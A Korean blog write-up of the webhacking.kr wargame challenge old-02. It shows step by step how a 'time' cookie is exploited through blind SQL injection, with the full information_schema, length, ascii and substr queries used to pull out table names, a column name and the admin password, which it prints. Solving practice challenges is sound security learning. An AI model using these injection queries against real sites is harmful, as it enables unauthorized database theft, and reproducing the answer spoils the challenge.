
webhacking.kr - old-02 풀이
O_o22
·2022. 9. 4. 23:31
접속 시 위와 같이 나온다.
페이지 소스를 보니 주석과 사이트에 있는 그대로 문구가 있다.
1. 날짜 주석
2. admin.php
정보를 확인할 수 있다.
admin.php로 이동해보면,
위와 같이 나온다.
1을 입력해보았는데,
아니라고 나온다.
빈칸에 입력한 값을 pw라는 변수에 저장한다.
쿠키 정보를 확인해보았는데, time이란 것이 존재한다.
날짜 정보와 관련이 있는거 같아 수정을 해보았다.
1로 수정하면,
2로 수정하면,
0으로 수정하면,
쿠키값이 초기화되면서, 페이지 코드가 달라진다.
주석값으로 입력값에 대한 반응을 확인할 수 있는 것 같다.
time에 1=1 , 참인 구문을 넣어봤다.
이번에는 1=2 이다. 거짓인 구문,
보아하니 참인 경우 09:00:01
거짓인 경우 09:00:00
초단위 값이 1과 0으로 표기되는 것 같다.
sql 문이 사용가능한지 확인한다. (select 5)
참과 거짓을 확인할 수 있으며, sql 구문까지 사용가능하다면,
blind sql injection이 가능한 것으로 예상된다.
아무런 정보가 없으니 일단 테이블의 개수를 알아보자
참고로 sql 구문은 select (), from(), where() 형식으로 작성한다.
count는 개수를 구하는 것이다.
(select count(table_name) from information_schema.tables where table_schema=database())
테이블 개수는 2개
테이블 이름은,
length는 길이를 구하는 것이다. limit 0, 1은 0번부터 1개라는 의미, limit 1, 1로 하면 1번부터 1개, 즉 2번쨰 테이블
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
1번쨰 테이블 명의 길이는 13글자.
2번쨰도 확인해보자
(select length(table_name) from information_schema.tables where table_schema=database() limit 1, 1)
2번째 테이블 명은 3글자이다.
1번 테이블은 13글자, 2번 테이블은 3글자
sql 구문을 각각 13번, 3번 입력하면 될 것 같다.
ascii = 아스키코드로 변환, substr = (string을, 몇 번째 글자, 몇 개를) 출력,
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)
1:37 => 97
(select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 0,1)
1:40 => 100
그렇게 마지막 까지 하면,
(select ascii(substr(table_name,13,1)) from information_schema.tables where table_schema=database() limit 0,1)
1:59 => 119
위 처럼 1번째 테이블 명은 admin_area_pw 이다.
마찬가지로 구하면 2번째 테이블 명은 log가 된다.
이제 table 명을 알아냈으니 컬럼을 이용할 수 있다.
먼저 컬럼의 개수를 알아낸다.
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")
01 이니 개수는 1개
컬럼명의 길이를 확인해보면,
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
2글자 이다. 아마 이전에 봤던 pw 변수로 예상된다.
그럼 컬럼의 내용을 확인해본다.
(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw")
1:52 => 112
(select ascii(substr(column_name,2,1)) from information_schema.columns where table_name="admin_area_pw")
01:59 => 119
pw가 맞다.
이제 컬럼 값을 알아낼 수 있다.
(select length(pw) from admin_area_pw)
무려 17글자이다..
(select ascii(substr(pw,1,1)) from admin_area_pw)
01:47 => 107
이를 반복하면,
최종적으로 pw 컬럼의 내용은 kudos_to_beistlab 이다.
admin.php에서 입력해보았다.
'네트워크, 웹 (Network & Web) > Wargame' 카테고리의 다른 글
webhacking.kr - old-04 풀이 (0) | 2022.09.05 |
---|---|
webhacking.kr - old-03 풀이 (0) | 2022.09.05 |
webhacking.kr - old-01 풀이 (0) | 2022.09.04 |
WebGoat - SQL injection (Blind SQL injection) (0) | 2021.08.27 |
WebGoat - SQL injection (Union SQL injection) (0) | 2021.08.27 |